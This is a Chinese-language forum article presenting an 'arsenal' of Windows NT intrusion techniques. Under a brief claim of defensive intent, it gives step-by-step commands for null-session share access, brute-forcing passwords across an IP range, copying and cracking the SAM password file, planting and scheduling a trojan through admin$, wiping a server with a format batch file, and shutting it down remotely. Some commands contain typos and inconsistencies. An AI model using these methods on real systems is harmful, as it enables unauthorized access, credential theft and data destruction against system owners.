黑客入侵Windows NT的「武器庫」 

作者:gale 
轉自網絡技術論壇 

  編者:文中為大家所講解的內容是為了讓更多的人瞭解黑客的攻擊手段,以便更好地防範黑客,針對黑客手段對系統進行
更安全的設置,讀者不得將此用於非法用途。 
  大致說來,黑客入侵Windows NT的原理和入侵Win95/98差不多, 因為NT同樣是使用NetBIOS Over TCP/IP ( NBT )的技術, 而
且應用範圍比Win95/98 更廣泛。以下是幾種黑客入侵Windows NT的方法, 讓我們也窺探一下黑客的「武器庫」吧。 


方法一、 使用空密碼連線 

  現在假設目標電腦的IP地址是202.64.161.X (X為任選數字), 先使用nbtstat 指令查看對方NT的網絡數據: 

  nbtstat -A 202.64.161.X 

  如果看到<20 的字樣, 那麼此NT系統可能將自己電腦數據共享出來。其實在NT安裝後, 會將電腦上的驅動器都共享出來, 沒
錯, 是自動共享出來的! 不過只是隱藏了, 所以你未必會看得見。而很多人在安裝好NT後未做任何設置便即使用, 這正好給黑客
一個入侵的大好機會。隨後黑客就會使用Net View 指令看看這個IP 地址: 

  net view \\202.64.161.X 

  正常來說會出現系統發生 System error 5 has occurred 的字樣。這就是NT比Win95/98 安全的地方! 如果是Win95/98 , 只要使用
net view 指令就可以看到對方電腦所有共享出來的資源, 如果是NT就一定要登錄進入NT服務器才可以用net view 指令。但黑客並
沒有對NT服務器的帳戶, 又怎樣登錄呢? 其實NT有一個很大的漏洞, 它有一個ipc$( Inter-Process Communication: 進程間通訊 ) , 
其同樣是隱藏共享, 作為服務器與服務器間的溝通, 只要連接到對方的IPC, 便有機會入侵了。他會先用null password ( 空密碼, 即
是沒有密碼! ) 來試試, 手法如下: 

  net use \\202.64.161.X\ipc$ 「 」 /use:「 」 

  以上的「 」 是空密碼的意思, 如果連接上會看見「指令執行成功」的字樣。接著便再用 

  net view \\202.64.161.X 

  然後便可以看到對方所有共享出來的資源了。 

  接著黑客會用net use 指令, 把對方共享出來的資源映射成自己的網絡驅動器, 之後想怎樣用就隨心所欲了。如果對方沒有把
隱藏共享取消, 黑客可以用以下指令: 

  net use X: \\ip地址\c$ 

  那對方的C 盤便會變成自己的X 盤了, 不過這方法未必一定可行, 因為NT服務器安裝了Services Pack 3 或以上版本, 用空密碼
連接IPC$ 的權限被限制, 不能夠映射NT上的驅動器 , 這時便要使用下一個方法。 

方法二、使用NAT工具 

  如果用空密碼進入NT服務器沒有收穫, 黑客們也不會絕望。黑客可以嘗試使用其他帳戶的密碼來進入。如何知道NT服務器
的帳戶? 那當然是猜啦! 其實NT的密碼不是想像中困難, 而是比想像中更易, 而這些大多是人為的錯誤。 

  首先需要一個NAT的程序, NAT全名是( NetBIOS Auditing Tool ) , 可以自動連線到NT服務器, 並猜對方帳戶的密碼, 這是
Internet上黑客入侵NT的必備「武器」。 

  Essential NetTools 是一個專門檢查NT漏洞的NAT 套餐, 它的功能非常強勁, 先來看看它的幾個主要功能。 

  1. NB掃瞄 

  NB掃瞄 可以一次性替你掃瞄 Internet 上電腦的IP, 如果你上網的速度夠快, 不用一分鐘便可以掃瞄 整個Class C 的IP , 之後它
會列出那一段IP地址內所有電腦的NetBIOS數據, 作用和黑客用nbtstat指令一樣, 不同的地方就是不用逐一測試, 節省不少時間。 

2. NATShell 

  NATShell 是用暴力破解的方法嘗試登錄入NT服務器, 只要把目標的IP 地址輸入NATShell 的視窗, 便可以開始了。可能你以
為「強攻」會很難, 但根據經驗, 有4成以上的NT都可以輕易攻入, 什麼原因呢? 因為人懶之故。 

  3.LMHosts 

  用NB掃瞄到目標後, 可以選「Add all items to LMhosts 」項, 便會將對方的IP 及電腦名稱自動加在電腦的lmhosts文檔內, 以後
你可以用「查找」→「電腦」, 找到對方的電腦, 非常方便。 

  好了! 決定了要檢查的目標後, 在NATShell填上它的IP 地址, 等待一段時間, 便可以看看結果-- NATShell的報告。 

  NATShell 會不斷用不同的用戶名 (userlist.txt) 及密碼 (passlist.txt) 來登錄進入NT服務器( 當然你可以自己再編輯這兩個文件) 
。如果成功連接, 便會有紅色的warning 字句出現, 並且列出該NT系統 的用戶名 和密碼 。 

  例如找到NT的Administrator(管理員)的密碼是admin 。便會嘗試在DOS下打: 

  net use x: \\IP 地址\c$ /user:administrator admin 

  便成功地把此NT系統隱藏的C區映射成自己電腦的某個盤了! 

  如果在NATShell 的報告是所有的共享都有"c onNECTED with name: *SMBSERVER" 的字樣, 即是說NT連密碼都沒有設定, 如
果是密碼, 還要打入: 

  net use x: \\IP 地址\c$ /user:administrator 

  便可以把NT的C 驅動器映射成自己的某個磁盤了。如果被黑客知道了管理員的帳戶, 基本上黑客以後出入如走平地, 整台
NT都會被黑客操控。 

  NAT 批量掃瞄法: 

  因為Essential NetTools 每次只可以掃瞄一台NT的密碼漏洞, 效率實在太低了。為了使入侵更有效率, 黑客可以使用NAT的批
量掃瞄法。 

  在Essential NetTools 的目錄下有一個nat.exe 的文件, 是可以直接在DOS 狀態下執行, 方法是: 

  nat -o result.tst -u userlist.txt -p passlist.txt 202.64.161.1-202.64.161.254 

  那麼nat 程序便會根據用戶名稱文文檔( userlist.txt ) 和密碼文檔( passlist.txt ) 來登錄進入202.64.161.1 到202.64.161.254 的主機
範圍, 並會將結果存在result.txt 上。 

方法三、 檢查NT的密碼 

  用Essential NetTools 可以用不同的戶名稱及密碼文檔來登錄進入NT服務器, 如果直接得到管理員的帳戶, 就證明這台NT服務
器的安全程度低得可憐! 

  如果只是得到一般的帳戶的密碼, 雖然權力不大, 但也不代表這部NT是安全。例如黑客可以用一般帳戶的密碼登錄進入NT
服務器, 然後用Copy 指令, 將NT的密碼文檔拷到自己的電腦中。 

  不過NT的密碼文檔(SAM , 文件位置在\Winnt\System32\c onfig ) 的系統啟動時是只讀的, 不可以複製, 不過還有另一個文件, 
就是在\winnt\repair\ 的目錄中的sam._ 文檔。 

  Sam._ 是什麼文檔? 通常在安裝NT時都會製作系統恢復盤 , 遇到NT有問題時, 便可以用系統恢復盤 進入NT, 而sam._ 便是sam 
密碼文檔的「副本」。只要將sam._ 拷到電腦上, 便可以用其他程序來慢慢破解密碼了。在DOS 狀態下執行複製: 

  copy \\202.64.161.X\admin$\repair\sam._ c:\ 

  便會把sam._ 文檔拷到自己的C 盤內。如果目標電腦忽略了sam._ 的重要性, 沒有設定好文件的權限, 便為黑客提供了大好機
會了。 

  如何解開SAM 密碼文檔: 

  NT的系統密碼是用單向散列( Hash ) 來處理過, 完全看不出源密碼, 理論上要還原成源密碼機會不大, 這些編碼會放在SAM ( 
Security AccouNTManager ) 數據庫內, 可以用一個專門破解NT密碼的程序--- L0phtCrack 來破解。 

  它是Internet 上非常有名的檢查NT密碼工具, 它會用各種可能的密碼, 反覆模擬NT的編碼過程, 並將編出來的密碼與SAM 數
據庫的密碼比對, 如果相同, 就會得出密碼了, 黑客可以借此入侵NT的系統! 先將sam._ 用extract 指令解開, 在DOS 狀態下打: 

  extract sam._ sam.txt 

  執行L0phtCrack , 在"File" "Import" "SAM file" 輸入sam.txt ,在"Tools" "Start Crack" 便會開始解密。 

  如果NT的密碼是一些數字或人名, 用L0phtCrack 不用十分鐘便可以解開!有人曾用一台Pentium II 的電腦, 只用一日時間便完
全解開管理員和其他帳戶的密碼。 

但以上這些指令和工具都有限制的,就是只可以顯示NT服務器的隱藏共享、已登錄進入系統的用戶名稱,數據不夠詳細,以下黑客
用的NTInfo掃瞄就可以進一步檢查NT服務器的漏洞(也適用於Windows 2000)。 

  1. 用戶數據一覽無遺的NTInfo掃瞄 

  為了進一步瞭解目標電腦的安全性, 黑客需要使用一個超小型的工具NTInfo掃瞄 , 它只有69 KB , 但比Essential NetTools 更強
勁! 只要執行它, NT服務器的隱藏共享 、用戶帳戶名稱、域名都會一覽無遺, 可以讓黑客深入瞭解該台NT服務器的漏洞! 只要在
DOS 狀態下下執行: 

  ntis -n IP地址 

  之後NTInfo掃瞄便會列出一個詳細的報告( HTML 文檔) , 包括所有共享的資源( 包括了隱藏的) 、共享的名稱、所有NT服務
器內的帳戶數據, 例如用戶帳戶名稱、是否可以遊客身份登錄、多久沒有更改密碼等。而最強悍的地方是NTInfo掃瞄 ,它會自
動檢查NT服務器內帳戶密碼是否足夠安全, 例如檢查用戶名稱和密碼是否一致、或者有沒有使用密碼等。 

  2. NTResource Kit 幫助入侵 

  如果大家的NT服務器安裝了NTResource Kit 4.0 , 你會發覺這個工具非常有用。NTResource Kit 可以算是NT服務器的輔助工
具, 可以幫助網絡管理人員管理NT和遙控處理NT的工作。不過內裡有幾個程序常會被黑客利用來入侵NT的電腦。 

  (1) . 共享資源的Net Watch 

  如果有黑客使用上述介紹的方法來進入NT服務器, 便有機會為所欲為了! 

  只要使用Resource Kit 的"Net Watch" 便可以連接對方的電腦。在"c onnection" / "Add Computer" 輸入電腦的IP 地址, 隔一會便
會出現對方電腦共享出來的資源。"Manage Shares" 會顯示對方的共用目錄, 只要按" 添加共享資源" 便可將對方電腦整個硬盤都
共享出來, 並且將權限設為"Everyone", 這便使得日後的攻擊更方便了。 

  (2) . 監視程序的Process Viewer 

  NTResource Kit 提供了Process Viewer , 它可以檢視Local 和Remote 電腦直接在執行的程序。Process Viewer 可以監視NT服務器
的執行情況, 如內存和各種程序的使用情況。只要在"Computer" 輸入對方電腦的IP 地址, 隔一會便會顯示對方NT正在執行的程
序, 它可以殺死本地電腦的程序。 

黑客如果要殺死遠程電腦的程序也是有辦法的, 只要使用一個名叫Pskiller 的小程序就可以輕易做到了! 先用Process Viewer 連接
NT電腦, 知道這台電腦正在運行什麼程序, 之後便可以用Pskiller 來殺死。用法很簡單, 在DOS 狀態下輸入: 

  pskill \\ 電腦名稱或IP地址-u roland -p xyz 

  -u roland : 是用戶名稱/ 
  -p XYZ:進程中的電腦或ID 

  (3). 定時控制的netsve 

  netsvc 是一個小小的程序, 可以用來啟動NT的服務, 如schedule(進度表)等, 通常是黑客用來遙控執行NT服務器的某個程序, 
先將netsvc 拷到對方的NT內: 

  copy ntsvc.exe \\IP 地址\admin$\system32 

  然後再輸入: 

  netsvc \\IP 地址schedule /start 

  這便可以啟動該電腦的schedule 服務。 

  然後便把一個木馬或病毒程序( 假設是killer.exe ) 拷到對方電腦: 

  copy filler.exe \\IP 地址\admin$\system32 

  之後便可以用at 指令來設定schedule 的執行時間: 

  at \\IP 地址12:30 killer.exe 

  這樣就可以在12:30 時自動執行killer.exe 

  如果遇到一些「辣手」的黑客, 只要復合一個含有format 指令的簡單批處理文件到NT服務器上, 校準時間, 便可以將對方的
NT清洗得一乾二淨。 

  (4). 關閉NT的shutdown : 

  shutdown : 關了對方的NT服務器: 

  Shutdown \\IP 地址t:20 

  20秒後將NT自動關閉, 如果對方是大型網站可就慘了!